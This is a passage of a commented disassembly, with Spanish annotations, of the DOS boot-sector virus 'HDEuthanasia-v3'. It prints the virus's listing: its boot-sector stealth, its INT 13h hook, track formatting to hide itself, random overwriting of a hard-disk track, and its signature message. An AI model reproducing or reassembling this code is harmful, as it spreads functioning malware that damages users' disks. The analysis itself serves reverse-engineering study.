AX,[DI+0102] Ω; cogiendo el valor en +102h y ∩0DA6:1D34 26 ES: Ω; restándole el valor en +100h. Si ∩0DA6:1D35 2B850001 SUB AX,[DI+0100] Ω; da CCFFh, entonces está infecta- ∩0DA6:1D39 3DFFCC CMP AX,CCFF Ω; do. ∩0DA6:1D3C 7520 JNZ 1D5E Ω; Salta a :1D5E y salta su función Ω; stealth si no está infectado ∩0DA6:1D3E B551 MOV CH,51 Ω; Escribe 1 sector en el lugar del ∩0DA6:1D40 B111 MOV CL,11 Ω; disco donde tiene guardado el ∩0DA6:1D42 B601 MOV DH,01 Ω; BOOT original. De esta manera, ∩0DA6:1D44 B80103 MOV AX,0301 Ω; cuando actúe su función stealth ∩0DA6:1D47 E85BFB CALL 18A5 Ω; será como si hubiera escrito eso Ω; al BOOT de verdad y no simulada- Ω; mente ∩0DA6:1D4A 06 PUSH ES Ω; DS = ES ∩0DA6:1D4B 1F POP DS ∩0DA6:1D4C 0E PUSH CS Ω; ES = CS ∩0DA6:1D4D 07 POP ES ∩0DA6:1D4E 8BF3 MOV SI,BX Ω; SI = BX ∩0DA6:1D50 83C603 ADD SI,+03 Ω; Suma 3 a SI ∩0DA6:1D53 BF6D1E MOV DI,1E6D Ω; Copia en :1E6D los nuevos pará- ∩0DA6:1D56 B93B00 MOV CX,003B Ω; metros que el programa que está ∩0DA6:1D59 F3 REPZ Ω; en ejecución quería poner en el ∩0DA6:1D5A A4 MOVSB Ω; nuevo BOOT ∩0DA6:1D5B BB6A1E MOV BX,1E6A Ω; En BX la dirección del BOOT del Ω; virus, al que ha puesto ahora Ω; los nuevos valores de BOOT del Ω; diskette Ω; Aquí desde :1D3C si el BOOT no Ω; está infectado ∩0DA6:1D5E B600 MOV DH,00 Ω; Escribe 512 bytes desde BX al ∩0DA6:1D60 B90100 MOV CX,0001 Ω; sector 1, pista 0, cara 0. O ∩0DA6:1D63 B80103 MOV AX,0301 Ω; sea, el BOOT sector. ∩0DA6:1D66 E83CFB CALL 18A5 ∩0DA6:1D69 2E CS: Ω; Guarda en [1B17] el error que ∩0DA6:1D6A 8826171B MOV [1B17],AH Ω; haya podido obtener ∩0DA6:1D6E 5B POP BX Ω; Saca los registros del stack ∩0DA6:1D6F 07 POP ES ∩0DA6:1D70 1F POP DS ∩0DA6:1D71 5E POP SI ∩0DA6:1D72 5F POP DI ∩0DA6:1D73 58 POP AX ∩0DA6:1D74 2E CS: Ω; Pone en AH el error (si es que ∩0DA6:1D75 8A26171B MOV AH,[1B17] Ω; ha habido) ∩0DA6:1D79 E84BFD CALL 1AC7 Ω; Inserta en el Entry-Point de la Ω; int 13h un JMP FAR al inicio de Ω; la rutina de la int 13h del vi- Ω; rus ∩0DA6:1D7C 9D POPF Ω; Saca banderas ∩0DA6:1D7D CA0200 RETF 0002 Ω; Retorno de interrupción ε;;;; Rutina para poner unos valores en CH según un byte en el BOOT leído. ∩0DA6:1D80 A07F1E MOV AL,[1E7F] Ω; En AL el byte en [1E7F] del Ω; BOOT (la posición +15h) ∩0DA6:1D83 3CFD CMP AL,FD Ω; Comprueba si es el valor FDh ∩0DA6:1D85 7404 JZ 1D8B Ω; Si es, salta ∩0DA6:1D87 B551 MOV CH,51 Ω; CH = 51h ∩0DA6:1D89 EB02 JMP 1D8D Ω; Salta a :1D8D Ω; Aquí desde :1D85 ∩0DA6:1D8B B529 MOV CH,29 Ω; CH = 29h ∩0DA6:1D8D C3 RET Ω; Retorna ε;;;;;; Rutina para formatear nuevas pistas en el diskette para meter el virus ε;;;;;; y el BOOT antiguo del diskette ∩0DA6:1D8E 8AF5 MOV DH,CH Ω; DH = CH pasado ∩0DA6:1D90 8816171B MOV [1B17],DL Ω; Mete DL en [1B17] (la uni- Ω; dad) ∩0DA6:1D94 33C0 XOR AX,AX Ω; ES = 0 ∩0DA6:1D96 8EC0 MOV ES,AX ∩0DA6:1D98 26 ES: Ω; Carga en ES:DI la dirección ∩0DA6:1D99 C43E7800 LES DI,[0078] Ω; de la int 1Eh, que no es un Ω; vector de interrupción, sino Ω; el puntero a la tabla de pa- Ω; rámetros del diskette ∩0DA6:1D9D 26 ES: Ω; Pone en AL los bytes por ∩0DA6:1D9E 8B4503 MOV AX,[DI+03] Ω; sector, y en AH el número de Ω; sectores por pista ∩0DA6:1DA1 50 PUSH AX Ω; Guarda AX en el stack ∩0DA6:1DA2 26 ES: Ω; Pone que los sectores sean ∩0DA6:1DA3 C6450302 MOV BYTE PTR [DI+03],02 Ω; a 512 bytes por sector ∩0DA6:1DA7 26 ES: Ω; Pone 17 sectores por pista ∩0DA6:1DA8 C6450411 MOV BYTE PTR [DI+04],11 ∩0DA6:1DAC 0E PUSH CS Ω; ES = CS ∩0DA6:1DAD 07 POP ES ∩0DA6:1DAE BF6A20 MOV DI,206A Ω; En DI la dirección donde va Ω; a construir una tabla de pa- Ω; rámetros para formateo ∩0DA6:1DB1 FC CLD Ω; Hacia delante ∩0DA6:1DB2 B91100 MOV CX,0011 Ω; CX = 11 ∩0DA6:1DB5 B201 MOV DL,01 Ω; DL = 1, que irá incrementan- Ω; do en cada LOOP ∩0DA6:1DB7 B401 MOV AH,01 Ω; AH = 01, que indica el núme- Ω; ro de página del sector a Ω; formatear ∩0DA6:1DB9 8AC6 MOV AL,DH Ω; En AL el sector que sacó an- Ω; tes gracias a la función en Ω; :1D80 ∩0DA6:1DBB AB STOSW Ω; Almacena esto ∩0DA6:1DBC 8AC2 MOV AL,DL Ω; AL = Número de sector, que Ω; va aumentando en cada LOOP Ω; (y empieza como 1) ∩0DA6:1DBE B402 MOV AH,02 Ω; El tamaño del sector a 512 Ω; bytes (es lo que indica el Ω; nº02) ∩0DA6:1DC0 AB STOSW Ω; Lo almacena ∩0DA6:1DC1 FEC2 INC DL Ω; Incrementa DL ∩0DA6:1DC3 E2F2 LOOP 1DB7 Ω; LOOP hasta :1DB7. Cuando Ω; acabe, habrá construido una Ω; tabla de información para Ω; formatear 17 nuevos sectores Ω; en un diskette, sitio donde Ω; guardará el virus en el dis- Ω; kette y el BOOT original. ∩0DA6:1DC5 B80F05 MOV AX,050F Ω; AH = 05 (función de formateo Ω; de la int 13h) Ω; AL = Formatea 15 sectores Ω; (¿y para qué construye una Ω; tabla de 17?) ∩0DA6:1DC8 8AEE MOV CH,DH Ω; CH = 29h o 51h, según la Ω; función en :1D80, como núme- Ω; ro de pista ∩0DA6:1DCA B101 MOV CL,01 Ω; Esto sobra ∩0DA6:1DCC B601 MOV DH,01 Ω; En DH el número de la cara ∩0DA6:1DCE 8A16171B MOV DL,[1B17] Ω; En DL el número de unidad ∩0DA6:1DD2 BB6A20 MOV BX,206A Ω; En BX la dirección de la Ω; tabla recién construida ∩0DA6:1DD5 E8CDFA CALL 18A5 Ω; Int 13h ∩0DA6:1DD8 9C PUSHF Ω; Guarda las banderas ∩0DA6:1DD9 882EFD1D MOV [1DFD],CH Ω; Pone en [1DFD] el número de Ω; pista para ponerlo directa- Ω; mente en el MOV que hay allí ∩0DA6:1DDD 33C0 XOR AX,AX Ω; ES = 0 ∩0DA6:1DDF 8EC0 MOV ES,AX ∩0DA6:1DE1 26 ES: Ω; Carga de nuevo en ES:DI la ∩0DA6:1DE2 C43E7800 LES DI,[0078] Ω; dirección de la tabla de Ω; parámetros del diskette ∩0DA6:1DE6 9D POPF Ω; Saca las banderas ∩0DA6:1DE7 58 POP AX Ω; Saca AX del stack ∩0DA6:1DE8 26 ES: Ω; Pone de nuevo los valores ∩0DA6:1DE9 894503 MOV [DI+03],AX Ω; que tenía antes en esa zona Ω; de la tabla ∩0DA6:1DEC 0E PUSH CS Ω; CS = ES ∩0DA6:1DED 07 POP ES ∩0DA6:1DEE C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;;;;; Parte de BOOT para diskettes, que se copiará a partir del BOOT que ;; ε;;;;;;; hay en :1409 hasta :141F ;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:1DEF BB500B MOV BX,0B50 Ω; ES = 0B50h ∩0DA6:1DF2 8EC3 MOV ES,BX Ω; ∩0DA6:1DF4 33DB XOR BX,BX Ω; BX = 0 ∩0DA6:1DF6 B80E1E MOV AX,1E0E Ω; AX = 1E0Eh ∩0DA6:1DF9 06 PUSH ES Ω; Guarda ES y AX en el stack ∩0DA6:1DFA 50 PUSH AX ∩0DA6:1DFB B90151 MOV CX,5101 Ω; Verifica la integridad de la ∩0DA6:1DFE B81104 MOV AX,0411 Ω; posición del diskette donde ∩0DA6:1E01 BA0001 MOV DX,0100 Ω; se encuentra el virus (pero ∩0DA6:1E04 CD13 INT 13 Ω; después no comprueba si hay Ω; error o no. Debe de ser para Ω; despistar). ∩0DA6:1E06 B81102 MOV AX,0211 Ω; Ahora sí que lo lee ∩0DA6:1E09 CD13 INT 13 ∩0DA6:1E0B 72E2 JB 1DEF Ω; Si hay error, vuelve a empe- Ω; zar ∩0DA6:1E0D CB RETF Ω; Salta al virus en memoria... Ω; ... aquí ∩0DA6:1E0E FB STI Ω; Permite interrupciones ∩0DA6:1E0F 33C0 XOR AX,AX Ω; ES = 0 ∩0DA6:1E11 8EC0 MOV ES,AX ∩0DA6:1E13 0E PUSH CS Ω; DS = CS ∩0DA6:1E14 1F POP DS ∩0DA6:1E15 FC CLD Ω; Hacia delante ∩0DA6:1E16 BF007C MOV DI,7C00 Ω; Copia el BOOT original a la ∩0DA6:1E19 BE0020 MOV SI,2000 Ω; zona de memoria donde se me- ∩0DA6:1E1C B90002 MOV CX,0200 Ω; te el BOOT al arrancar ∩0DA6:1E1F 06 PUSH ES ∩0DA6:1E20 57 PUSH DI ∩0DA6:1E21 F3 REPZ ∩0DA6:1E22 A4 MOVSB ∩0DA6:1E23 A28C01 MOV [018C],AL Ω; Pone [018C] a 0 ∩0DA6:1E26 E8A7EA CALL 08D0 Ω; Escribe una ristra de words Ω; aleatorios en el disco duro, Ω; en una pista no declarada. ∩0DA6:1E29 E84DF5 CALL 1379 Ω; Infecta el sistema si éste Ω; no está infectado ∩0DA6:1E2C CB RETF Ω; Salta al BOOT original ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; Mensaje e identificador del virus ;;;;; ε;;; ;;;;; ε;;; "HDEuthanasia-v3" by Demon Emperor: Hare Krsna, hare, hare... ;;;;; ε;;; ;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:1E2D 224844 AND CL,[BX+SI+44] ∩0DA6:1E30 45 INC BP ∩0DA6:1E31 7574 JNZ 1EA7 ∩0DA6:1E33 68 DB 68 ∩0DA6:1E34 61 DB 61 ∩0DA6:1E35 6E DB 6E ∩0DA6:1E36 61 DB 61 ∩0DA6:1E37 7369 JNB 1EA2 ∩0DA6:1E39 61 DB 61 ∩0DA6:1E3A 2D7633 SUB AX,3376 ∩0DA6:1E3D 2220 AND AH,[BX+SI] ∩0DA6:1E3F 62 DB 62 ∩0DA6:1E40 7920 JNS 1E62 ∩0DA6:1E42 44 INC SP ∩0DA6:1E43 65 DB 65 ∩0DA6:1E44 6D DB 6D ∩0DA6:1E45 6F DB 6F ∩0DA6:1E46 6E DB 6E ∩0DA6:1E47 20456D AND [DI+6D],AL ∩0DA6:1E4A 7065 JO 1EB1 ∩0DA6:1E4C 726F JB 1EBD ∩0DA6:1E4E 723A JB 1E8A ∩0DA6:1E50 204861 AND [BX+SI+61],CL ∩0DA6:1E53 7265 JB 1EBA ∩0DA6:1E55 204B72 AND [BP+DI+72],CL ∩0DA6:1E58 736E JNB 1EC8 ∩0DA6:1E5A 61 DB 61 ∩0DA6:1E5B 2C20 SUB AL,20 ∩0DA6:1E5D 68 DB 68 ∩0DA6:1E5E 61 DB 61 ∩0DA6:1E5F 7265 JB 1EC6 ∩0DA6:1E61 2C20 SUB AL,20 ∩0DA6:1E63 68 DB 68 ∩0DA6:1E64 61 DB 61 ∩0DA6:1E65 7265 JB 1ECC ∩0DA6:1E67 2E CS: ∩0DA6:1E68 2E CS: ∩0DA6:1E69 2E CS: ε;;; y FIN ε;;; ¡Por fin!